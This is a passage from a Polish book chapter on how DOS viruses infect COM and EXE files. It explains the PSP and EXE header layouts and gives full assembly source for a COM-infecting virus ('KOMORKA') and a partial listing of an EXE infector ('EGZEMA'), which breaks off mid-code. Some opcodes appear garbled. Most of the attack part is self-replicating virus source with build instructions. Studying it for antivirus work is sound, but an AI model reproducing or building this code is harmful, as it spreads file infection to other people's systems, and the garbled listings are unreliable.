CATEGORII DOCUMENTE |
Bulgara | Ceha slovaca | Croata | Engleza | Estona | Finlandeza | Franceza |
Germana | Italiana | Letona | Lituaniana | Maghiara | Olandeza | Poloneza |
Sarba | Slovena | Spaniola | Suedeza | Turca | Ucraineana |
DOCUMENTE SIMILARE |
|
Obiekty atakowane przez wirusy
4.1. Pliki
Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE), wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM). Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze (ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas uruchamiania programów (blok wstępny programu, otoczenie programu).
4.1.1. Pliki wykonywalne COM
Ze względu na swą prostą budowę programy typu COM od początku stanowiły smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku wstępnym PSP i wykonaniu dalekiego skoku na początek programu,
a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM po załadowaniu do pamięci przedstawia poniższa tabela.
Wygląd programu COM po załadowaniu do pamięci:
Adres (względem segmentu), do którego został załadowany plik COM |
Zawartość pamięci |
CS:0000-CS:0100 |
Blok wstępny PSP (patrz następna tabela) |
CS:0000-CS:???? |
Kod programu załadowany z pliku |
Format bloku wstępnego programu PSP
Adres w pamięci |
Zawartość |
Kod rozkazu int 21 h (CD 21) |
|
Adres segmentu pamięci niedostępnej dla programu |
|
Nie używane przez DOS, używane wewnętrznie przez OS/2 |
|
Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej procedury) |
|
Rozmiar dostępnej pamięci w segmencie |
|
0A-0D |
Zapamiętywany adres zakończenia programu (int 22h) |
0E-11 |
Adres programu obsługi CTRL-BREAK (int 23h) |
Adres programu obsługi błędów krytycznych (int 24h) |
|
Adres do segmentu pamięci, gdzie znajduje się blok PSP programu rodzicielskiego (interpretator poleceń modyfikuje to pole i wstawia tam adres swojego PSP) |
|
18-2B |
Tablica plików obsługiwanych przez proces JFT (ang. Job File Table); każdy element tablicy zawiera indeks wskazujący na element SFT (ang. System File Table) opisujący wszystkie otwarte w systemie pliki lub też wartość FF, jeżeli element nie jest używany |
2C-2D |
Adres segmentu pamięci, w którym znajduje się otoczenie programu, zawierające definicje zmiennych środowiskowych systemu DOS, takich jak PATH, PROMPT Ud. Każdy element otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B rozszerza otoczenie programu poprzez dodanie jednego słowa określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle 0001), a następnie umieszcza dalej nazwę uruchamianego programu. Umożliwia to procesowi dotarcie do pliku na dysku zawierającego kod uruchomionego programu - jest to parametr paramstr(0) w Pascalu i argv[0] w C. |
2E-31 |
Zapamiętane wartości SS:SP (używane podczas wywoływania funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed przełączeniem się na własny stos |
Liczba elementów tablicy JFT (standardowo =20) |
|
Daleki wskaźnik do tablicy plików JFT (standardowo CS:18) umożliwia rozszerzenie ilości plików wykorzystywanych przez proces |
|
38-3B |
Daleki wskaźnik do poprzedniego bloku wstępnego PSP |
3C-4F |
Pola wykorzystywane wewnętrznie przez różne systemy operacyjne |
Kod rozkazów: INT 21 h RETF |
|
Nie używane |
|
55-5B |
Nie używane, można użyć, aby zmienić standardowy blok FCB na rozszerzony blok FCB |
5C-6B |
Standardowy blok opisu pliku FCB1 |
6C-7B |
Standardowy blok opisu pliku FCB2 |
7C-7F |
Nie używane |
80-FF |
Bufor transmisji dyskowych DTA. Bezpośrednio po uruchomieniu programu zawiera jego wiersz wejściowy, zawierający parametry podane z linii poleceń, zakończony znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza wejściowego nie uwzględniając znaku CR. |
Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie (zwykle FFFE), na stosie umieszczana jest wartość 0000.
Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod adres CS:0100h.
Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów.
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko stosowana.
Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP, tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2 wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt długiego pliku COM niszczona będzie część programu znajdująca się przy końcu segmentu (przez wartości zapisywane na stosie).
W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu wirusem.
Struktura niezainfekowanego pliku COM
Zawartość pliku |
Kod programu w tzw. postaci absolutnej |
Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku
Zawartość pliku |
Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP NEAR) Kod zainfekowanego programu Kod wirusa wraz z zapamiętanymi bajtami początkowymi |
Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego programu
Zawartość pliku |
Kod wirusa Przesunięty kod zainfekowanego programu Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki COM. |
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
KOMORKA v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus nierezydentny plikow COM ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
znajdujace sie w biezacym katalogu ;
;
; Kompilacja : ;
TASM KOMORKA.ASM ;
TLINK /t KOMORKA.OBJ ;
;
KOMORKA SEGMENT
JUMPS
ASSUME CS:KOMORKA, DS:KOMORKA
ORG 100h
NUL = 00h ;
LF = 0Ah ; stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
Start: ; tu zaczyna sie program ofiary
db 0E9h,00h,00h ; symuluj rozkaz JMP NEAR
; bedacy czescia zarazonego
; programu
VirusStart: ; tu zaczyna sie kod wirusa
mov si,word ptr ds:[101h] ; pobierz relatywny ofset do miejsca
; w pamieci, gdzie znajduje sie wirus
; wartosc ta to czesc rozkazu JMP NEAR
; na poczatku, przy pierwszym wywolaniu
; =0000h
mov al,byte ptr ds:[si+StareBajty] ; Przywroc zapamietane 3 bajty
mov ds:[100h],al ; na poczatek programu CS:100h
mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas pierwszego uruchomienia
mov ds:[101h],ax ; / jest to kod Int 20h
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaCOM] ; maska poszukiwanych plikow '*.COM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Bh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuCOM ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000
ja SzukajNastepnyPlik ; nie - szukaj nastepnego
cmp ax,3 ; czy dlugosc >= 3
jb SzukajNastepnyPlik ; nie - szukaj nastepnego
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skoku
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1 to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,3 ; ilosc czytanych bajtow
lea dx,[si+StareBajty] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz czy to nie EXE
je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisanych bajtow
lea dx,[si+103h] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisanych bajtow
lea dx,[si][Skok] ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date,czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik COM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuCOM:
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
mov ax,100h ; skocz na poczatek programu
jmp ax ; / do ofiary
MaskaCOM db '*.COM' ; maska plikow COM (ASCIIZ)
StareBajty db 0CDh,20h,90h ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
Skok db 0E9h,?,? ; rozkaz skoku
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; przejdz
int 10h ; do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
KOMORKA ENDS
END Start
4.1.2. Pliki wykonywalne EXE
Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania programów mieszczących się w kilku segmentach.
Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare (ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony i w rezultacie plik taki zainfekować.
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)
Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment, wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w programach tych jest kilka segmentów kodu i danych, a także
osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do załadowania programów EXE system DOS potrzebuje więcei informacji, niż w przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej. Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i zminimalizowane. Opis sformatowanej części nagłówka podano poniżej.
Sformatowany nagłówek pliku EXE
Znacznik pliku EXE. MZ lub ZM |
|
Liczba bajtów na ostatniej, 512 bajtowej, stronie programu, W praktyce oznacza, ile bajtów system DOS musi skopiować z ostatniego sektora zajmowanego przez program. |
|
Długość całego pliku EXE, podana w 512-bajtowych stronach z uwzględnieniem nagłówka i ostatniej strony opisanej w polach 02h-03h. W praktyce oznacza ilość sektorów zajmowanych przez program, |
|
Liczba elementów relokowalnych w programie, czyli liczba 4-bajtowych rekordów, znajdujących siew niesformatowanej części nagłówka, opisujących miejsca w kodzie programu (jako segment: przesunięcie; w każdym rekordzie przesunięcie znajduje się przed segmentem), gdzie należy dodać segment, pod który ładowany jest program |
|
Długość nagłówka w 16-bajtowych paragrafach |
|
0A-0B |
Minimalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach |
0C-0D |
Maksymalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach |
0E-0F |
Początkowa wartość rejestru segmentowego stosu (SS) względem początku programu. |
Początkowa wartość wskaźnika stosu (SP) |
|
Suma kontrolna (zanegowana suma wszystkich bajtów w pliku), nie używana przez DOS, stąd pole to może posłużyć jako wskaźnik zainfekowania pliku |
|
Początkowa wartość licznika rozkazów IP |
|
Początkowa wartość rejestru segmentu kodu CS względem początku programu. |
|
Adres pierwszej pozycji tablicy relokacji w stosunku do początku pliku. Jeżeli pole jest równe 40h lub więcej, jest to prawdopodobnie nowy plik EXE |
|
1A-1B |
Numer nakładki |
Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP, odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą instrukcję programu.
Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw. wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za wewnętrzną nakładkę.
Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić do ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu COM obraz programu EXE wygląda inaczej w pamięci niż na dysku
Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej (są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach występujących w programie). Adresy w pamięci, które trzeba w ten sposób zmodyfikować, zawarte są w tablicy relokacji.
Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie, czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się, iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do oryginalnego programu.
Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo dostępnej tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury, co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku).
Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach.
Struktura niezainfekowanego pliku EXE
Zawartość pliku |
Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM' Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu Właściwy kod programu Ewentualna nakładka |
Struktura zainfekowanego pliku EXE
Zawartość pliku |
Sformatowany nagłówek pliku EXE zaczynający się literami MZ lub ZM' z wprowadzonymi przez wirusa zmianami Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu Właściwy kod programu Kod wirusa Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża plików z wewnętrznymi nakładkami |
Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
EGZEMA v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus nierezydentny plikow EXE ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
znajdujace sie w biezacym katalogu ;
;
; Kompilacja : ;
TASM EGZEMA.ASM ;
TLINK EGZEMA.OBJ ;
;
EGZEMA SEGMENT
JUMPS
ASSUME CS:EGZEMA, DS:EGZEMA
NUL = 00h ;
LF = 0Ah ; stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
VirusStart: ; tu zaczyna sie kod wirusa
Call Trik ;
Trik: ;
pop si ; / oblicz relatywny ofset
sub si,3 ; /
push cs ; DS=CS=kod wirusa
pop ds ; /
mov ax,es ; es=PSP+10h
add ax,10h ; /
add [si][StarySS],ax ;
push [si][StarySS] ; - zachowaj wartosci stosu
push [si][StarySP] ; / dla nosiciela
add ax,[si][StaryCS] ;
mov [si][SkokCS],ax ; utworz pelny rozkaz skoku
mov ax,[si][StaryIP] ; / do nosiciela
mov [si][SkokIP],ax ; /
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaEXE] ; maska poszukiwanych plikow '*.EXE'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny
cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ?
jb SzukajNastepnyPlik ; nie = szukaj nastepny
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,26 ; ilosc czytanych bajtow
lea dx,[si][Naglowek] ; podaj dokad czytac 26 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze bajty pliku
cmp ax,'mz' ; i sprawdz, czy to EXE
je JestEXE ; gdy 'MZ', to plik EXE
cmp ax,'zm' ;
jne ZamknijPlik ; gdy 'ZM', to plik EXE
JestEXE:
cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?
; (pominiete zostana takze
; niektore pliki EXE z ustawionym
; adresem tablicy relokacji > 40h)
jae ZamknijPlik ; TAK - szukaj nastepny
mov ax,word ptr [si][Naglowek+14h] ; zachowaj stare CS i IP
mov [si][StaryIP],ax ; z pliku
mov ax,word ptr [si][Naglowek+16h] ; /
mov [si][StaryCS],ax ; /
mov ax,word ptr [si][Naglowek+10h] ; zachowaj stare SS i SP
mov [si][StarySP],ax ; z pliku
mov ax,word ptr [si][Naglowek+0Eh] ; /
mov [si][StarySS],ax ; /
mov ax,word ptr [si][Naglowek+08h] ; wez dlugosc naglowka w
mov cx,16 ; - paragrafach i oblicz
mul cx ; / jego dlugosc w bajtach
mov bp,ax ; zachowaj dlugosc na pozniej
mov di,dx ; /
mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron
cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na ostatniej stronie=0
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
cmp ax,0 ; czy ilosc stron=0 ?
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
